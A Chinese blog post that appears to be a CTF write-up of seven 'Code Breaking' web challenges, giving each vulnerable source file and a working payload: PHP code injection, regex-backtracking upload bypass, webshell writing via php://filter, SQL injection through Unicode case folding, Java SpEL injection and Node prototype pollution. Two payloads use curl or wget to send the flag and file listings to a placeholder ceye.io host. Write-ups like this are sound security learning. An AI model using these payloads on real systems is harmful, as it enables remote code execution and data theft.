Learning Man's Blog

CODE BREAKING

字数统计: 734阅读时长: 3 min
2018/12/01

0x01 easy - function

题目

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

解题思路

  1. 出现??NULL合并运算符,所以是php7环境

  2. 看着像create_function代码执行,注意两点:

    i. 正则匹配
    ii. create_function中的闭合

  3. 正则通过fuzz来试试怎么能绕过,发现\可以

     <?php
     $a = '~!@#$%^&*()-=_+\\?/\'">.,<';
     for($i=0;$i<strlen($a);$i++){
         echo "[-]trying: ".$a[$i]."\n";
         $c = $a[$i]."create_function";
         if (function_exists($c)){
             echo "[!]--------find: ".$a[$i]."\n";
         }
     };
     ?>
  4. payload

    i. 列目录文件(比较菜,不知道怎么直接来)

     ?action=\create_function&arg=2;}$d=dir("/var/www/");while(($file=$d->read())!=false){echo"filename:".$file."
    ";}/* // 更新两种方法 scandir(dir) glob(dir)

    ii. flag

     ?action=\create_function&arg=2;}var_dump(readfile("/var/www/flag_h0w2execute_arb1trary_c0de"));/*

参考资料

  1. https://paper.seebug.org/94/

0x02 easy - pcrewaf

题目

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

解题思路

  1. 主要就是绕过php文件内容的正则判断

  2. 由于正则使用非贪婪模式,当文件内容过大时即匹配无效,构造一个超大文件即可

  3. payload(一句话没试成功…Orz)

     <?php echo "----start----</br>";var_dump(file_get_contents("../../../flag_php7_2_1s_c0rrect"));echo "</br>----end----";/*aaa...*/

参考资料

  1. https://regex101.com/debugger
  2. https://www.freebuf.com/articles/web/190794.html

0x03 easy - phpmagic

题目

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">

    <title>Domain Detail</title>
    <style>
    pre {
        width: 100%;
        background-color: #f6f8fa;
        border-radius: 3px;
        font-size: 85%;
        line-height: 1.45;
        overflow: auto;
        padding: 16px;
        border: 1px solid #ced4da;
    }
    </style>
</head>
<body>

<div class="container">
    <div class="row">
        <div class="col">
            <form method="post">
                <div class="input-group mt-3">
                    <div class="input-group-prepend">
                        <span class="input-group-text" id="basic-addon1">dig -t A -q</span>
                    </div>
                    <input type="text" name="domain" class="form-control" placeholder="Your domain">
                    <div class="input-group-append">
                        <button class="btn btn-outline-secondary" type="submit">执行</button>
                    </div>
                </div>
            </form>
        </div>

    </div>

    <div class="row">
        <div class="col">
            <pre class="mt-3"><?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);

                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }

                echo $output;
            endif; ?></pre>
        </div>
    </div>
</div>
</body>
</html>

解题思路

  1. 注意的有三点

    i. dig 查询 A 记录并保存为文件内容
    ii. 文件名前部分使用$_SERVER[‘SERVER_NAME’]
    iii. log_name 后缀检测需要绕过

  2. 发现查询 A 记录的命令内容中返回有 CNAME(在 OSX 和 Kali 上都没有能返回 CNAME 记录呢?)

     ; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q test.xxx.com
     ;; global options: +cmd
     ;; Got answer:
     ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47822
     ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
    
     ;; QUESTION SECTION:
     ;test.xxx.com.        IN    A
    
     ;; ANSWER SECTION:
     test.xxx.com.    600    IN    CNAME    pd9wahagzxzhbcgkx0dfvftjxsk7pz4k.com.
    
     ;; AUTHORITY SECTION:
     com.            600    IN    SOA    a.gtld-servers.net. nstld.verisign-grs.com. 1543723372 1800 900 604800 86400
    
     ;; Query time: 750 msec
     ;; SERVER: 127.0.0.11#53(127.0.0.11)
     ;; WHEN: Sun Dec 02 04:03:24 UTC 2018
     ;; MSG SIZE  rcvd: 153
  3. 题中使用$_SERVER[‘SERVER_NAME’]且非80端口,则可通过修改host header控制(Host 不能为空)

     Host: xxx    >>>    $_SERVER['SERVER_NAME']=xxx
  4. log_name 的检测绕过可以使用大小写,但是服务器不解析

    如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉”/.” “/..”等相对路径,所以不会出错

    根据参考资料3上述提到的方法进行绕过

     domian=test.xxx.com&log=1.php/.
  5. 整理一下

    i. 查询的值其实也会在页面中出现,部分内容可控
    ii. 脚本将查询A记录内容放入log中,但是同时有 CNAME 记录,后者可自定义程度比前者要高
    iii. 文件名通过$_SERVER['SERVER_NAME']$_POST['log']拼接,两者均可控,文件后缀可控
    iv. file_get_contents支持php伪协议

  6. payload

    payload直接填充domain或添加到CNAME中 -> 利用php:// base64解析 -> 控制文件名生成shell

     POST / HTTP/1.1
     Host: p
    
     domain=PD9waHAgdmFyX2R1bXAocmVhZGZpbGUoJF9HRVRbImMiXSkpOyA/PiAK&log=hp://filter/convert.base64-decode/resource=1.php/.

    很凑巧,不至于太长导致无响应内容,且响应内容很短

     ; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q PD9waHAgdmFyX2R1bXAocmVhZGZpbGUoJF9HRVRbImMiXSkpOyA/PiAK
     ;; global options: +cmd
     ;; connection timed out; no servers could be reached

    访问

     /1.php?c=../../../flag_phpmag1c_ur1
  7. emmmmm,阿里云不允许 CNAME 采用大写,莫非自己建个 DNS ?这种方法先放着 Orz…

参考资料

  1. http://shiflett.org/blog/2006/server-name-versus-http-host
  2. https://www.cnblogs.com/52php/p/5670054.html
  3. http://www.am0s.com/functions/386.html
  4. https://lorexxar.cn/2016/09/14/php-wei/

0x04 easy - phplimit

题目

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

解题思路

  1. 正则使用递归匹配,那就表明code后面就需要使用phpinfo();这种无参函数;或者需要的参数也使用类似的无参函数来获取填充比如var_dump(scandir(getcwd()));

  2. 经过搜索后,发现get_defined_vars函数

    此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

  3. 利用code构造一个执行函数,参数通过其他方式传入,比如$_GET

  4. payload

     ?code=eval(next(current(get_defined_vars())));&cc=var_dump(readfile("../flag_phpbyp4ss"));
    
     // 或者直接用一个打,因为同目录下文件比较少,不然也没法一次 next 到
     ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

类似函数还有

func 说明
get_headers(string $url [, int $format = 0 ]) 自 PHP 5.1.3 起本函数使用默认的流上下文,其可以用 stream_context_get_default() 函数设定和修改。
getenv(string $varname [, bool $local_only = FALSE]) 5.5.38, 5.6.24, 7.0.9 添加 local_only 参数。
getenv(void) 7.1.0 现在可以省略 varname 来检索所有环境变量的关联数组 array。

参考资料

  1. http://www.laruence.com/2011/09/30/2179.html
  2. http://php.net/manual/zh/function.get-defined-vars.php

0x05 easy - nodechr

题目

// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename

const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))

async function main() {
    const app = new Koa()
    const router = new Router()
    const db = await sqlite.open(':memory:')

    await db.exec(`CREATE TABLE "main"."users" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "username" TEXT NOT NULL,
        "password" TEXT,
        CONSTRAINT "unique_username" UNIQUE ("username")
    )`)
    await db.exec(`CREATE TABLE "main"."flags" (
        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        "flag" TEXT NOT NULL
    )`)
    for (let user of config.users) {
        await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
    }
    await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)

    router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)

    app.use(views(__dirname + '/views', {
        map: {
            html: 'underscore'
        },
        extension: 'html'
    })).use(bodyParser()).use(session(app))

    app.use(router.routes()).use(router.allowedMethods());

    app.keys = config.signed
    app.context.db = db
    app.context.router = router
    app.listen(3000)
}

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

async function static(ctx, next) {
    await send(ctx, ctx.path)
}

async function admin(ctx, next) {
    if(!ctx.session.user) {
        ctx.status = 303
        return ctx.redirect(ctx.router.url('login'))
    }

    await ctx.render('admin', {
        'user': ctx.session.user
    })
}

async function source(ctx, next) {
    await send(ctx, basename(__filename))
}

main()

解题思路

  1. 很明显是登录有注入,关键函数safeKeyword,在验证过后又会对输入toUpperCase
  2. 想办法对大前不敏感,大写后敏感,用P牛的脚本fuzz一下(查了后才知道js内部使用utf-16)
utf-16 uppercase lowercase unicode url encode
ı I 305 %C4%B1
ſ S 383 %C5%BF
k 8490 %E2%84%AA
  1. 弱口令admin/admin登录,可知username回显

  2. payload

     POST /login/ HTTP/1.1
    
     username=1&password=' unıon ſelect 1,(ſelect flag from flags)=1,'3

参考资料

  1. https://segmentfault.com/a/1190000006960642
  2. https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
  3. https://www.compart.com/en/unicode/

0x06 medium - javacon

题目

challenge-0.0.1-SNAPSHOT

解题思路

  1. 主要问题在于以下两个地方,一个是如果Cookie:remember-me存在则会存入session并调用spel解析值

     @GetMapping
     public String admin(@CookieValue(value = "remember-me", required = false) final String rememberMeValue, final HttpSession session, final Model model) {
         if (rememberMeValue != null && !rememberMeValue.equals("")) {
             final String username = this.userConfig.decryptRememberMe(rememberMeValue);
             if (username != null) {
                 session.setAttribute("username", (Object)username);
             }
         }
         final Object username2 = session.getAttribute("username");
         if (username2 == null || username2.toString().equals("")) {
             return "redirect:/login";
         }
         model.addAttribute("name", (Object)this.getAdvanceValue(username2.toString()));
         return "hello";
     }
    
     // Pattern.compile 里的 34(flags参数) 可在 IDE 中查看详情
    
     private String getAdvanceValue(final String val) {
         for (final String keyword : this.keyworkProperties.getBlacklist()) {
             final Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
             if (matcher.find()) {
                 throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
             }
         }
         final ParserContext parserContext = (ParserContext)new TemplateParserContext();
         final Expression exp = this.parser.parseExpression(val, parserContext);
         final SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
         return exp.getValue((EvaluationContext)evaluationContext).toString();
     }
  2. 主要就是绕黑名单实现解密、解析后的代码执行

  3. 黑名单使用拼接字符串即可绕过

     // 正常的反射流程
     Method m1 = java.lang.Class.forName("java.lang.Runtime").getMethod("exec", String.class);
     Method m2 = Class.forName("java.lang.Runtime").getMethod("getRuntime");
     Object c1 = m2.invoke("java.lang.Runtime");
     Object c2 = m1.invoke(c1, "curl www.google.com");
    
     // 拼凑完整的payload
     Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),"curl www.google.com");
  4. payload

    需要注意base64命令后面需要转换\n,否则接收的结果不全

    RFC2045中有规定:

    The encoded output stream must be represented in lines of no more than 76 characters each.

    Base64一行不能超过76字符,超过则添加回车换行符。

    Linux为\n OSX里为\r

     // #{T(Class).forName("java.la"+"ng.Runt"+"ime").getMethod("e"+"xec", T(String[])).invoke(T(Class).forName("java.la"+"ng.Runt"+"ime").getMethod("getRu"+"ntime").invoke(T(Class).forName("java.la"+"ng.Runt"+"ime")), new String[]{"/bin/bash","-c","curl xxxx.ceye.io/`ls|base64|tr '\\n' '-'`"})}
     System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef","#{T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\").getMethod(\"e\"+\"xec\", T(String[])).invoke(T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\").getMethod(\"getRu\"+\"ntime\").invoke(T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\")), new String[]{\"/bin/bash\",\"-c\",\"curl xxxx.ceye.io/`cat flag_j4v4_chun|base64|tr '\\n' '-'`\"})}"));

    将加密后的payload替换到登录后的cookie中(弱口令admin/admin),刷新页面即触发

参考资料

  1. https://lionlx.iteye.com/blog/1446303
  2. https://www.cnblogs.com/moonlightpoet/p/5541010.html

0x07 hard - thejs

看过原型链污染攻击,但是没有实践过,还是看这位师傅的wp才想起来。
根据wp分析下。

题目

thejs.tar.gz 源码下载

解题思路

  1. 通过参考资料1快速了解下prototype

     function Foo() {...};
     let f1 = new Foo();

  2. merge的利用主要是创建、覆盖 Object 下的变量,代码涉及回调+深度遍历,跟着看了一上午,整个人要疯了

  3. 因为服务器预期language为 Array,直接使用__proto__会指向Array.prototype导致无法并入 Object

  4. 所以构造 Payload 可以通过以下两种方式

     //通过 Array.__proto__.__proto__
     {"language":{"__proto__":{"__proto__"}}}
    
     //通过 Array.Object.__proto__
     {"language":{"randomword":{"__proto__"}}}
  5. 在渲染页面前,express会将传递的参数放入options中,在node_modules/express/lib/application.js:554中合并到renderOptions中

     // merge options
     merge(renderOptions, opts);
    
     // function `merge` source
     exports = module.exports = function(a, b){
       if (a && b) {
         for (var key in b) {
           a[key] = b[key];
         }
       }
       return a;
     };
  6. 但是在这里会将__proto__下的变量也加入到options中,这样就能控制渲染页面中的变量了

    例如在__proto__下添加val1=xxx,遍历b中的key可见val1出现

     > for(var i in b){console.log(i)}
     language
     category
     _locals
     val1
  7. 接着就要去找代码执行的点,在渲染时会将sourceURL直接拼接到页面中,但前面有个注释,通过\n就可以bypass掉,之后就是代码执行了

     var result = attempt(function() {
         return Function(importsKeys, sourceURL + 'return ' + source)
           .apply(undefined, importsValues);
     });

  8. payload

     {"language":{"payload":{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('wget xxxx.ceye.io/$(cat /flag_thepr0t0js|base64|tr \"\\n\" \"-\")')"}}}}

受影响的库

i. Merge

PackageFuntionFixable
hoekhoek.mergeFixed in version 4.2.1
hoek.applyToDefaultsFixed in version 5.0.3
lodashlodash.defaultsDeepFixed in version 4.17.5
lodash.merge
lodash.mergeWith
lodash.set
lodash.setWith
mergemerge.recursive
defaults-deepdefaults-deepFixed in version 0.2.4
merge-objectsmerge-object
assign-deepassign-deepFixed in version 0.4.7
merge-deepmerge-deepFixed in version 3.0.1
mixin-deepmixin-deepFixed in version 1.3.1
deep-extenddeep-extend
merge-optionsmerge-options
deapdeap.extendFixed in version 1.0.1
deap.merge
deap
merge-recursivemerge-recursive.recursive

ii. Clone

PackageFuntionFixable
deapdeap.cloneFixed in version 1.0.1

iii. Property definition by path

PackageFuntion
lodashlodash.set
lodash.setWith
pathvalpathval.setPathValue
pathval
dot-propdot-prop.set
dot-prop
object-pathobject-path.withInheritedProps.ensureExists
object-path.withInheritedProps.set
object-path.withInheritedProps.insert
object-path.withInheritedProps.push
object-path

参考资料

  1. https://blog.csdn.net/cc18868876837/article/details/81211729
  2. https://blog.csdn.net/zhangliuxiaomin/article/details/54618626
  3. https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
  4. https://paper.seebug.org/755/#hard-thejs
CATALOG
  1. 1. 0x01 easy - function
    1. 1.1. 题目
    2. 1.2. 解题思路
    3. 1.3. 参考资料
  2. 2. 0x02 easy - pcrewaf
    1. 2.1. 题目
    2. 2.2. 解题思路
    3. 2.3. 参考资料
  3. 3. 0x03 easy - phpmagic
    1. 3.1. 题目
    2. 3.2. 解题思路
    3. 3.3. 参考资料
  4. 4. 0x04 easy - phplimit
    1. 4.1. 题目
    2. 4.2. 解题思路
    3. 4.3. 参考资料
  5. 5. 0x05 easy - nodechr
    1. 5.1. 题目
    2. 5.2. 解题思路
    3. 5.3. 参考资料
  6. 6. 0x06 medium - javacon
    1. 6.1. 题目
    2. 6.2. 解题思路
    3. 6.3. 参考资料
  7. 7. 0x07 hard - thejs
    1. 7.1. 题目
    2. 7.2. 解题思路
    3. 7.3. 受影响的库
      1. 7.3.1. i. Merge
      2. 7.3.2. ii. Clone
      3. 7.3.3. iii. Property definition by path
    4. 7.4. 参考资料